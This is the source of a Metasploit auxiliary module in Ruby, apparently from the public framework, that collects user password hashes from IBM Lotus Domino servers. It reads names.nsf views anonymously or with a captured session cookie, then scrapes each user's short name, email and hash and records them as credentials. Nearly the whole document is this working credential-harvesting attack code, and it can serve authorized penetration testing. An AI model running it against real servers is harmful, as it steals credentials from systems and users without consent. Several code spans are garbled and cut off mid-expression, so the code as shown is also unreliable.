## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'Lotus Domino Password Hash Collector', 'Description' => 'Get users passwords hashes from names.nsf page', 'Author' => 'Tiago Ferreira ', 'License' => MSF_LICENSE ) register_options( [ OptString.new('NOTES_USER', [false, 'The username to authenticate as', '']), OptString.new('NOTES_PASS', [false, 'The password for the specified username' ]), OptString.new('URI', [false, 'Define the path to the names.nsf file', '/names.nsf']), ], self.class) end def run_host(ip) user = datastore['NOTES_USER'].to_s pass = datastore['NOTES_PASS'].to_s $uri = normalize_uri(datastore['URI']) if (user.length == 0 and pass.length == 0) print_status("http://#{vhost}:#{rport} - Lotus Domino - Trying dump password hashes without credentials") begin res = send_request_raw({ 'method' => 'GET', 'uri' => "#{$uri}\/$defaultview?Readviewentries", }, 25) if res.nil? print_error("Connection timed out") return end if (res and res.body.to_s =~ /\ 'POST', 'uri' => '/names.nsf?Login', 'data' => post_data, }, 20) if res.nil? print_error("http://#{vhost}:#{rport} - Connection timed out") return end if res and res.code == 302 if res.get_cookies.match(/DomAuthSessId=(.*);(.*)/i) cookie = "DomAuthSessId=#{$1}" elsif res.get_cookies.match(/LtpaToken=(.*);(.*)/i) cookie = "LtpaToken=#{$1}" else print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized 302 response") return :abort end print_good("http://#{vhost}:#{rport} - Lotus Domino - SUCCESSFUL authentication for '#{user}'") print_status("http://#{vhost}:#{rport} - Lotus Domino - Getting password hashes") get_views(cookie,$uri) elsif (res and res.body.to_s =~ /names.nsf\?Login/) print_error("http://#{vhost}:#{rport} - Lotus Domino - Authentication error: failed to login as '#{user}'") return :abort else print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized #{res.code} response") return :abort end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end end def get_views(cookie,uri) begin res = send_request_raw({ 'method' => 'GET', 'uri' => "#{uri}\/$defaultview?Readviewentries", 'cookie' => cookie, }, 25) if (res and res.body) max = res.body.scan(/siblings=\"(.*)\"/)[0].join 1.upto(max.to_i) {|i| res = send_request_raw({ 'method' => 'GET', 'uri' => "#{uri}\/$defaultview?Readviewentries&Start=#{i}", 'cookie' => cookie, }, 25) viewId = res.body.scan(/unid="([^\s]+)"/)[0].join dump_hashes(viewId,cookie,uri) } end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end end def dump_hashes(view_id,cookie,uri) begin res = send_request_raw({ 'method' => 'GET', 'uri' => "#{uri}\/$defaultview/#{view_id}?OpenDocument", 'cookie' => cookie, }, 25) if (res and res.body) short_name = res.body.scan(/ rhost, :port => rport, :name => "http" ) report_auth_info( :host => rhost, :port => rport, :sname => (ssl ? "https" : "http"), :user => short_name, :pass => pass_hash, :ptype => "domino_hash", :source_id => domino_svc.id, :source_type => "service", :proof => "WEBAPP=\"Lotus Domino\", USER_MAIL=#{user_mail}, HASH=#{pass_hash}, VHOST=#{vhost}", :active => true ) end end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end end end